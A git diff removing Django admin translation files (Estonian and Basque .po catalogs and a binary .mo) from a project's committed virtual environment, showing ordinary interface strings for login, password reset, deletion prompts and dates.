user." -msgstr "" - -msgid "Disable password-based authentication" -msgstr "Paroolipõhise autentimise väljalülitamine" - -msgid "Enable password-based authentication" -msgstr "Paroolipõhise autentimise lubamine" - -msgid "Skip to main content" -msgstr "Liigu põhisisu juurde" - -msgid "Welcome," -msgstr "Tere tulemast," - -msgid "View site" -msgstr "Vaata saiti" - -msgid "Documentation" -msgstr "Dokumentatsioon" - -msgid "Log out" -msgstr "Logi välja" - -#, python-format -msgid "Add %(name)s" -msgstr "Lisa %(name)s" - -msgid "History" -msgstr "Ajalugu" - -msgid "View on site" -msgstr "Näita lehel" - -msgid "Filter" -msgstr "Filtreeri" - -msgid "Hide counts" -msgstr "Peida loendused" - -msgid "Show counts" -msgstr "Näita loendusi" - -msgid "Clear all filters" -msgstr "Tühjenda kõik filtrid" - -msgid "Remove from sorting" -msgstr "Eemalda sorteerimisest" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sorteerimisjärk: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Sorteerimine" - -msgid "Toggle theme (current theme: auto)" -msgstr "Teema lülitamine (hetkel: automaatne)" - -msgid "Toggle theme (current theme: light)" -msgstr "Teema lülitamine (hetkel: hele)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Teema lülitamine (hetkel: tume)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Selleks, et kustutada %(object_name)s '%(escaped_object)s', on vaja " -"kustutada lisaks ka kõik seotud objecktid, aga teil puudub õigus järgnevat " -"tüüpi objektide kustutamiseks:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Et kustutada %(object_name)s '%(escaped_object)s', on vaja kustutada " -"järgmised kaitstud seotud objektid:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Kas olete kindel, et soovite kustutada objekti %(object_name)s " -"\"%(escaped_object)s\"? Kõik järgnevad seotud objektid kustutatakse koos " -"sellega:" - -msgid "Objects" -msgstr "Objektid" - -msgid "Yes, I’m sure" -msgstr "Jah, olen kindel" - -msgid "No, take me back" -msgstr "Ei, mine tagasi" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Kui kustutada valitud %(objects_name)s, peaks kustutama ka seotud objektid, " -"aga sinu kasutajakontol pole õigusi järgmiste objektitüüpide kustutamiseks:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Et kustutada valitud %(objects_name)s, on vaja kustutada ka järgmised " -"kaitstud seotud objektid:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Kas oled kindel, et soovid kustutada valitud %(objects_name)s? Kõik " -"järgnevad objektid ja seotud objektid kustutatakse:" - -msgid "Delete?" -msgstr "Kustutan?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s " - -msgid "Summary" -msgstr "Kokkuvõte" - -msgid "Recent actions" -msgstr "Hiljutised toimingud" - -msgid "My actions" -msgstr "Minu toimingud" - -msgid "None available" -msgstr "Ei leitud ühtegi" - -msgid "Added:" -msgstr "Lisatud:" - -msgid "Changed:" -msgstr "Muudetud:" - -msgid "Deleted:" -msgstr "Kustutatud:" - -msgid "Unknown content" -msgstr "Tundmatu sisu" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"On tekkinud viga seoses andmebaasiga. Veenduge, et kõik vajalikud " -"andmebaasitabelid on loodud ja andmebaas on loetav vastava kasutaja poolt." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Olete sisse logitud kasutajana %(username)s, kuid teil puudub ligipääs " -"lehele. Kas te soovite teise kontoga sisse logida?" - -msgid "Forgotten your login credentials?" -msgstr "Unustasid oma sisselogimisandmed?" - -msgid "Toggle navigation" -msgstr "Lülita navigeerimine sisse" - -msgid "Sidebar" -msgstr "Külgriba" - -msgid "Start typing to filter…" -msgstr "Filtreerimiseks alusta trükkimist..." - -msgid "Filter navigation items" -msgstr "Filtreeri navigatsioonielemente" - -msgid "Date/time" -msgstr "Kuupäev/kellaaeg" - -msgid "User" -msgstr "Kasutaja" - -msgid "Action" -msgstr "Toiming" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "sissekanne" -msgstr[1] "sissekanded" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Sellel objektil puudub muudatuste ajalugu. Tõenäoliselt ei lisatud objekti " -"läbi selle administreerimisliidese." - -msgid "Show all" -msgstr "Näita kõiki" - -msgid "Save" -msgstr "Salvesta" - -msgid "Popup closing…" -msgstr "Hüpikaken sulgub…" - -msgid "Search" -msgstr "Otsing" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s tulemus" -msgstr[1] "%(counter)s tulemust" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "Kokku %(full_result_count)s" - -msgid "Save as new" -msgstr "Salvesta uuena" - -msgid "Save and add another" -msgstr "Salvesta ja lisa uus" - -msgid "Save and continue editing" -msgstr "Salvesta ja jätka muutmist" - -msgid "Save and view" -msgstr "Salvesta ja vaata" - -msgid "Close" -msgstr "Sulge" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Muuda valitud %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Lisa veel üks %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Kustuta valitud %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Vaata valitud %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Tänan, et veetsite aega meie lehel." - -msgid "Log in again" -msgstr "Logi uuesti sisse" - -msgid "Password change" -msgstr "Salasõna muutmine" - -msgid "Your password was changed." -msgstr "Teie salasõna on vahetatud." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Turvalisuse tagamiseks palun sisestage oma praegune salasõna ja seejärel uus " -"salasõna. Veendumaks, et uue salasõna sisestamisel ei tekkinud vigu, palun " -"sisestage see kaks korda." - -msgid "Change my password" -msgstr "Muuda salasõna" - -msgid "Password reset" -msgstr "Uue parooli loomine" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Teie salasõna on määratud. Võite nüüd sisse logida." - -msgid "Password reset confirmation" -msgstr "Uue salasõna loomise kinnitamine" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Palun sisestage uus salasõna kaks korda, et saaksime veenduda, et " -"sisestamisel ei tekkinud vigu." - -msgid "New password:" -msgstr "Uus salasõna:" - -msgid "Confirm password:" -msgstr "Kinnita salasõna:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Uue salasõna loomise link ei olnud korrektne. Võimalik, et seda on varem " -"kasutatud. Esitage uue salasõna taotlus uuesti." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Saatsime teile meilile parooli muutmise juhendi. Kui teie poolt sisestatud e-" -"posti aadressiga konto on olemas, siis jõuab kiri peagi kohale." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Kui te ei saa kirja kätte siis veenduge, et sisestasite just selle e-posti " -"aadressi, millega registreerisite. Kontrollige ka oma rämpsposti kausta." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Saite käesoleva kirja kuna soovisite muuta lehel %(site_name)s oma " -"kasutajakontoga seotud parooli." - -msgid "Please go to the following page and choose a new password:" -msgstr "Palun minge järmisele lehele ning sisestage uus salasõna" - -msgid "In case you’ve forgotten, you are:" -msgstr "Kui olete unustanud, siis olete:" - -msgid "Thanks for using our site!" -msgstr "Täname meie lehte külastamast!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s meeskond" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Unustasite oma salasõna? Sisestage oma e-posti aadress ja saadame meilile " -"juhised uue saamiseks." - -msgid "Email address:" -msgstr "E-posti aadress:" - -msgid "Reset my password" -msgstr "Lähtesta mu parool" - -msgid "Select all objects on this page for an action" -msgstr "Vali toiminguks kõik objektid sellel lehel" - -msgid "All dates" -msgstr "Kõik kuupäevad" - -#, python-format -msgid "Select %s" -msgstr "Vali %s" - -#, python-format -msgid "Select %s to change" -msgstr "Vali %s mida muuta" - -#, python-format -msgid "Select %s to view" -msgstr "Vali %s vaatamiseks" - -msgid "Date:" -msgstr "Kuupäev:" - -msgid "Time:" -msgstr "Aeg:" - -msgid "Lookup" -msgstr "Otsi" - -msgid "Currently:" -msgstr "Hetkel:" - -msgid "Change:" -msgstr "Muuda:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/et/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/et/LC_MESSAGES/djangojs.mo deleted file mode 100644 index ebb15318..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/et/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/et/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/et/LC_MESSAGES/djangojs.po deleted file mode 100644 index 25543d02..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/et/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,314 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# eallik , 2011 -# Jannis Leidel , 2011 -# Janno Liivak , 2013-2015 -# Martin , 2021,2023,2025 -# Martin , 2016,2020 -# Ragnar Rebase , 2019 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Martin , 2021,2023,2025\n" -"Language-Team: Estonian (http://app.transifex.com/django/django/language/" -"et/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: et\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Saadaval %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Filtreeri selle kasti abil välja \"%s\" nimekirja." - -msgid "Filter" -msgstr "Filter" - -#, javascript-format -msgid "Choose all %s" -msgstr "Vali kõik %s" - -#, javascript-format -msgid "Choose selected %s" -msgstr "Vali valitud %s" - -#, javascript-format -msgid "Remove selected %s" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "Valitud %s" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Filtreeri selle kasti abil valitud \"%s\" nimekirja." - -msgid "(click to clear)" -msgstr "" - -#, javascript-format -msgid "Remove all %s" -msgstr "Eemalda kõik %s" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s valik ei ole nähtaval" -msgstr[1] "%s valikut ei ole nähtaval" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s %(cnt)sst valitud" -msgstr[1] "%(sel)s %(cnt)sst valitud" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Muudetavates lahtrites on salvestamata muudatusi. Kui sooritate mõne " -"toimingu, lähevad salvestamata muudatused kaotsi." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Valisite toimingu, kuid pole salvestanud muudatusi lahtrites. Salvestamiseks " -"palun vajutage OK. Peate toimingu uuesti käivitama." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Valisite toimingu, kuid ei muutnud ühtegi lahtrit. Tõenäoliselt otsite Mine " -"mitte Salvesta nuppu." - -msgid "Now" -msgstr "Praegu" - -msgid "Midnight" -msgstr "Kesköö" - -msgid "6 a.m." -msgstr "6 hommikul" - -msgid "Noon" -msgstr "Keskpäev" - -msgid "6 p.m." -msgstr "6 õhtul" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Märkus: Olete %s tund serveri ajast ees." -msgstr[1] "Märkus: Olete %s tundi serveri ajast ees." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Märkus: Olete %s tund serveri ajast maas." -msgstr[1] "Märkus: Olete %s tundi serveri ajast maas." - -msgid "Choose a Time" -msgstr "Vali aeg" - -msgid "Choose a time" -msgstr "Vali aeg" - -msgid "Cancel" -msgstr "Tühista" - -msgid "Today" -msgstr "Täna" - -msgid "Choose a Date" -msgstr "Vali kuupäev" - -msgid "Yesterday" -msgstr "Eile" - -msgid "Tomorrow" -msgstr "Homme" - -msgid "January" -msgstr "jaanuar" - -msgid "February" -msgstr "veebruar" - -msgid "March" -msgstr "märts" - -msgid "April" -msgstr "aprill" - -msgid "May" -msgstr "mai" - -msgid "June" -msgstr "juuni" - -msgid "July" -msgstr "juuli" - -msgid "August" -msgstr "august" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "oktoober" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "detsember" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "jaan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "veebr" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "märts" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "mai" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "juuni" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "juuli" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "aug" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "sept" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "dets" - -msgid "Sunday" -msgstr "pühapäev" - -msgid "Monday" -msgstr "esmaspäev" - -msgid "Tuesday" -msgstr "teisipäev" - -msgid "Wednesday" -msgstr "kolmapäev" - -msgid "Thursday" -msgstr "neljapäev" - -msgid "Friday" -msgstr "reede" - -msgid "Saturday" -msgstr "laupäev" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "pühap." - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "esmasp." - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "teisip." - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "kolmap." - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "neljap." - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "reede" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "laup." - -msgctxt "one letter Sunday" -msgid "S" -msgstr "P" - -msgctxt "one letter Monday" -msgid "M" -msgstr "E" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "T" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "K" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "N" - -msgctxt "one letter Friday" -msgid "F" -msgstr "R" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "L" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eu/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/eu/LC_MESSAGES/django.mo deleted file mode 100644 index a2c99330..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eu/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eu/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/eu/LC_MESSAGES/django.po deleted file mode 100644 index 3aba9f80..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eu/LC_MESSAGES/django.po +++ /dev/null @@ -1,732 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Aitzol Naberan , 2013,2016 -# Eneko Illarramendi , 2017-2019,2022 -# Jannis Leidel , 2011 -# julen, 2012-2013 -# julen, 2013 -# Urtzi Odriozola , 2017 -# Yoaira García , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:10-0500\n" -"PO-Revision-Date: 2022-07-25 07:05+0000\n" -"Last-Translator: Eneko Illarramendi \n" -"Language-Team: Basque (http://www.transifex.com/django/django/language/eu/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: eu\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Ezabatu aukeratutako %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s elementu ezabatu dira." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Ezin da %(name)s ezabatu" - -msgid "Are you sure?" -msgstr "Ziur al zaude?" - -msgid "Administration" -msgstr "Kudeaketa" - -msgid "All" -msgstr "Dena" - -msgid "Yes" -msgstr "Bai" - -msgid "No" -msgstr "Ez" - -msgid "Unknown" -msgstr "Ezezaguna" - -msgid "Any date" -msgstr "Edozein data" - -msgid "Today" -msgstr "Gaur" - -msgid "Past 7 days" -msgstr "Aurreko 7 egunak" - -msgid "This month" -msgstr "Hilabete hau" - -msgid "This year" -msgstr "Urte hau" - -msgid "No date" -msgstr "Datarik ez" - -msgid "Has date" -msgstr "Data dauka" - -msgid "Empty" -msgstr "Hutsik" - -msgid "Not empty" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Idatzi kudeaketa gunerako %(username)s eta pasahitz zuzena. Kontuan izan " -"biek maiuskula/minuskulak desberdintzen dituztela." - -msgid "Action:" -msgstr "Ekintza:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Gehitu beste %(verbose_name)s bat" - -msgid "Remove" -msgstr "Kendu" - -msgid "Addition" -msgstr "Gehitzea" - -msgid "Change" -msgstr "Aldatu" - -msgid "Deletion" -msgstr "Ezabatzea" - -msgid "action time" -msgstr "Ekintza hordua" - -msgid "user" -msgstr "erabiltzailea" - -msgid "content type" -msgstr "eduki mota" - -msgid "object id" -msgstr "objetuaren id-a" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "objeturaren adierazpena" - -msgid "action flag" -msgstr "Ekintza botoia" - -msgid "change message" -msgstr "Mezua aldatu" - -msgid "log entry" -msgstr "Log sarrera" - -msgid "log entries" -msgstr "log sarrerak" - -#, python-format -msgid "Added “%(object)s”." -msgstr "\"%(object)s\" gehituta." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "\"%(object)s\" ezabatuta." - -msgid "LogEntry Object" -msgstr "LogEntry objetua" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} \"{object}\" gehituta." - -msgid "Added." -msgstr "Gehituta" - -msgid "and" -msgstr "eta" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} aldatuta." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "{name} \"{object}\" ezabatuta." - -msgid "No fields changed." -msgstr "Ez da eremurik aldatu." - -msgid "None" -msgstr "Bat ere ez" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Bat baino gehiago hautatzeko, sakatu \"Kontrol\" tekla edo \"Command\" Mac " -"batean." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "Aldaketa gehiago egin ditzazkezu jarraian." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} \"{obj}\" ondo gehitu da. Beste {name} bat gehitu dezakezu jarraian." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} \"{obj}\" ondo aldatu da. Aldaketa gehiago egin ditzazkezu jarraian." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" -"{name} \"{obj}\" ondo gehitu da. Aldaketa gehiago egin ditzazkezu jarraian." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Elementuak aukeratu behar dira beraien gain ekintzak burutzeko. Ez da " -"elementurik aldatu." - -msgid "No action selected." -msgstr "Ez dago ekintzarik aukeratuta." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s \"%(obj)s\" ondo ezabatu da." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" -"\"%(key)s\" ID-a duen %(name)s ez da existitzen. Agian ezabatua izan da?" - -#, python-format -msgid "Add %s" -msgstr "Gehitu %s" - -#, python-format -msgid "Change %s" -msgstr "Aldatu %s" - -#, python-format -msgid "View %s" -msgstr "%s ikusi" - -msgid "Database error" -msgstr "Errorea datu-basean" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(name)s %(count)s ondo aldatu da." -msgstr[1] "%(count)s %(name)s ondo aldatu dira." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "Guztira %(total_count)s aukeratuta" -msgstr[1] "Guztira %(total_count)s aukeratuta" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Guztira %(cnt)s, 0 aukeratuta" - -#, python-format -msgid "Change history: %s" -msgstr "Aldaketen historia: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"%(class_name)s klaseko %(instance)s instantziak ezabatzeak erlazionatutako " -"objektu hauek ezabatzea eragingo du:\n" -"%(related_objects)s" - -msgid "Django site admin" -msgstr "Django kudeaketa gunea" - -msgid "Django administration" -msgstr "Django kudeaketa" - -msgid "Site administration" -msgstr "Webgunearen kudeaketa" - -msgid "Log in" -msgstr "Sartu" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s kudeaketa" - -msgid "Page not found" -msgstr "Ez da orririk aurkitu" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Sentitzen dugu, baina eskatutako orria ezin da aurkitu." - -msgid "Home" -msgstr "Hasiera" - -msgid "Server error" -msgstr "Zerbitzariaren errorea" - -msgid "Server error (500)" -msgstr "Zerbitzariaren errorea (500)" - -msgid "Server Error (500)" -msgstr "Zerbitzariaren errorea (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "Burutu aukeratutako ekintza" - -msgid "Go" -msgstr "Joan" - -msgid "Click here to select the objects across all pages" -msgstr "Egin klik hemen orri guztietako objektuak aukeratzeko" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Hautatu %(total_count)s %(module_name)s guztiak" - -msgid "Clear selection" -msgstr "Garbitu hautapena" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s aplikazioaren modeloak" - -msgid "Add" -msgstr "Gehitu" - -msgid "View" -msgstr "Ikusi" - -msgid "You don’t have permission to view or edit anything." -msgstr "Ez duzu ezer ikusteko edo editatzeko baimenik." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Lehenik, sartu erabiltzailea eta pasahitza bat. Gero, editatzeko aukera " -"gehiago izango dituzu. " - -msgid "Enter a username and password." -msgstr "Sartu erabiltzaile izen eta pasahitz bat." - -msgid "Change password" -msgstr "Aldatu pasahitza" - -msgid "Please correct the error below." -msgstr "Mesedez zuzendu erroreak behean." - -msgid "Please correct the errors below." -msgstr "Mesedez zuzendu erroreak behean." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Idatzi pasahitz berria %(username)s erabiltzailearentzat." - -msgid "Welcome," -msgstr "Ongi etorri," - -msgid "View site" -msgstr "Webgunea ikusi" - -msgid "Documentation" -msgstr "Dokumentazioa" - -msgid "Log out" -msgstr "Irten" - -#, python-format -msgid "Add %(name)s" -msgstr "Gehitu %(name)s" - -msgid "History" -msgstr "Historia" - -msgid "View on site" -msgstr "Webgunean ikusi" - -msgid "Filter" -msgstr "Iragazkia" - -msgid "Clear all filters" -msgstr "Garbitu filtro guztiak." - -msgid "Remove from sorting" -msgstr "Kendu ordenaziotik" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Ordenatzeko lehentasuna: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Txandakatu ordenazioa" - -msgid "Delete" -msgstr "Ezabatu" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s ezabatzean bere '%(escaped_object)s' ere ezabatzen dira, " -"baina zure kontuak ez dauka baimenik objetu mota hauek ezabatzeko:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' ezabatzeak erlazionatutako objektu " -"babestu hauek ezabatzea eskatzen du:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Ziur zaude %(object_name)s \"%(escaped_object)s\" ezabatu nahi dituzula? " -"Erlazionaturik dauden hurrengo elementuak ere ezabatuko dira:" - -msgid "Objects" -msgstr "Objetuak" - -msgid "Yes, I’m sure" -msgstr "bai, ziur nago " - -msgid "No, take me back" -msgstr "Ez, itzuli atzera" - -msgid "Delete multiple objects" -msgstr "Ezabatu hainbat objektu" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Aukeratutako %(objects_name)s ezabatzeak erlazionatutako objektuak ezabatzea " -"eskatzen du baina zure kontuak ez dauka baimen nahikorik objektu mota hauek " -"ezabatzeko: " - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Aukeratutako %(objects_name)s ezabatzeak erlazionatutako objektu babestu " -"hauek ezabatzea eskatzen du:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Ziur zaude aukeratutako %(objects_name)s ezabatu nahi duzula? Objektu guzti " -"hauek eta erlazionatutako elementu guztiak ezabatuko dira:" - -msgid "Delete?" -msgstr "Ezabatu?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "Irizpidea: %(filter_title)s" - -msgid "Summary" -msgstr "Laburpena" - -msgid "Recent actions" -msgstr "Azken ekintzak" - -msgid "My actions" -msgstr "Nire ekintzak" - -msgid "None available" -msgstr "Ez dago ezer" - -msgid "Unknown content" -msgstr "Eduki ezezaguna" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"%(username)s bezala autentikatu zara, baina ez daukazu orrialde honetara " -"sarbidea. Nahi al duzu kontu ezberdin batez sartu?" - -msgid "Forgotten your password or username?" -msgstr "Pasahitza edo erabiltzaile-izena ahaztu duzu?" - -msgid "Toggle navigation" -msgstr "" - -msgid "Start typing to filter…" -msgstr "Hasi idazten filtratzeko..." - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "Data/ordua" - -msgid "User" -msgstr "Erabiltzailea" - -msgid "Action" -msgstr "Ekintza" - -msgid "entry" -msgstr "sarrera" - -msgid "entries" -msgstr "sarrerak" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." 